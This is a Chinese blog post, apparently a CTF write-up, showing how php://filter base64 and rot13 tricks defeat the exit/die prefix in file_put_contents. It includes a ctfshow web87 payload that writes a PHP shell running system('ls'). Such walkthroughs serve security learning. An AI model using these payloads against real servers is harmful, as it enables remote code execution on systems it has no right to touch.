首页 > 其他分享 >file_put_content函数下的绕过

file_put_content函数下的绕过

时间:2024-03-12 22:01:15浏览次数:19  
标签:解码 base64 content file put php

该函数的作用是将文件写入字符串中

首先,file_put_content大概有三种情形出现;

file_put_contents($filename,"<?php exit();".$content);

file_put_contents($content,"<?php exit();".$content);

file_put_contents($filename,$content . "\nxxxxxx");

 

思路:将杂糅或者死亡代码分解

这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;

其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;

1.base64绕过

利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;

$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit();".$content);
这里content前加了个a 是因为是因为base64在解码的时候是将4个字节转化为3个字节,
又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化。

2.rot13编码绕过
php://filter/string.rot13/resource=simple.php

<?php phpinfo();>经过rot13编码后这样:<?cuc cucvasb();?>


ctfshow web87
 $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

urldecode ----出现该函数
二次url编码,因为第一次编码过去之后自动解码(中间件自动解码),但是他这里还要解码一次
payload:
php://filter/write=convert.base64-encode/resource=1.php 进行两次url加密
content中传入
<?php system('ls');?> 后进行base64加密 中间的phpdie是六位字符
而base64是以四位进行加解密 所以在base64加密后补上aa
正好填充 phpdieaa 对die函数进行消去
 
 

 

标签:解码,base64,content,file,put,php
From: https://www.cnblogs.com/heck1ng/p/18069429

相关文章

  • [js error] SyntaxError: Unexpected token ‘{‘ (at uniFile.js?t=1710138723630:1:
    问题详情问题描述封装一个函数的时候报错问题原因SyntaxError:Unexpectedtoken‘{’(atuniFile.js?t=1710138723630:1:34)SyntaxError:意外的令牌“{”(在uniFile.js?t=1710138723630:1:34)意思是有不符合语法规范的地方在第一行34个字符的地方去到报错文件的地方查......
  • 【微软】微软程序注册(zfile自建API)
    Zfile支持设置自己的回调地址,怎么设置呢?参考:https://docs.zfile.vip/advanced/onedrive-api/上面文档写的很清楚了,我提醒两点1.进入https://portal.azure.com/之后找不到应用注册在哪的话,直接搜就可以了其他的根据那个链接操作就行,为了防止链接失效,我把页面截图放下面了......
  • Dockerfile 部署jar包
    防火墙端口添加:firewall-cmd--zone=public--add-port=80/tcp--permanent(--permanent永久生效,没有此参数重启后失效)重新载入firewall-cmd--reload查看firewall-cmd--zone=public--query-port=80/tcp删除firewall-cmd--zone=public--remove-port=80/tcp--per......
  • ELK日志实时分析平台搭建和使用 ELK日志分析平台是指Elasticsearch、Logstash 和 Kiba
    ELK日志实时分析平台搭建和使用ELK日志分析平台是指Elasticsearch、Logstash和Kibana三个项目的集合,后面又增加了Filebeat数据采集器。概述ELK日志分析平台是指Elasticsearch、Logstash和Kibana三个项目的集合,后面又增加了Filebeat数据采集器。Elasticsearch是一个数据......
  • 在Vue 3中,当computed属性中使用到的store中的变量或ref变量发生更新时,computed属性会
    computed传入一个getter函数,返回一个默认不可手动修改的ref对象在Vue3中,当computed属性中使用到的store中的变量或ref变量发生更新时,computed属性会自动重新计算,反映出最新的值。就是任何组件内导致store的变量变化也会导致其它组件内的computed变量变化与执行在Vue3中,当......
  • arthas火焰图async-profiler在云交易中的运用
    在日常工作中经常会遇到系统应用出现fullgc、cpu内存飙高等场景,如果想要快速解决这些线上问题就需要首先能快速定位,最好能定位到具体代码。本文旨在通过一款线上监控诊断产品,阿里巴巴的arthas(阿尔萨斯)内部集成的火焰图工具async-profiler结合自身系统应用中的使用,方便我们能够快......
  • too many files open in system.18067683
    toomanyfilesopeninsystem修改Linux系统限制ulimit-n65535echo"*softnofile65535">>/etc/security/limits.conf查看哪个用户或进程占用的文件多,关闭不必要的文件#查看进程打开文件数最多的前5个进程lsof|awk'{print$2}'|sort|uniq-c|sort-r......
  • 包含Maven和Docker的Dockerfile
    要创建一个包含Maven和Docker的Dockerfile,你需要首先明确你的需求。通常,这样的Dockerfile可能是为了构建并打包一个Java项目,然后使用Docker将其部署。以下是一个简单的示例,展示了如何创建一个Dockerfile,该Dockerfile安装了Maven和Docker,然后构建并推送一个Java项目:Dockerfile#......
  • 实现Python pdf切割 ValueError: seek of closed file
    参考网上的教材,实现pdf文件的切割,提示一个问题ValueError:seekofclosedfile原来是pdf文件关闭导致的问题。将其改成一个程序就解决了。importPyPDF2pdf_path=r'E:\zhuanxie\jpm\2.pdf'out_path=r'E:\zhuanxie\jpm\23.pdf'#切割PDF文件start_page=1end_page=......
  • [论文速览] Separating Style and Content for Generalized Style Transfer
    Pretitle:SeparatingStyleandContentforGeneralizedStyleTransferaccepted:CVPR2018paper:https://arxiv.org/abs/1711.06454code:none关键词:styletransfer,chinesetypefacetransfer,fontgeration阅读理由:回顾经典Idea将图片解耦成内容和风格两种特......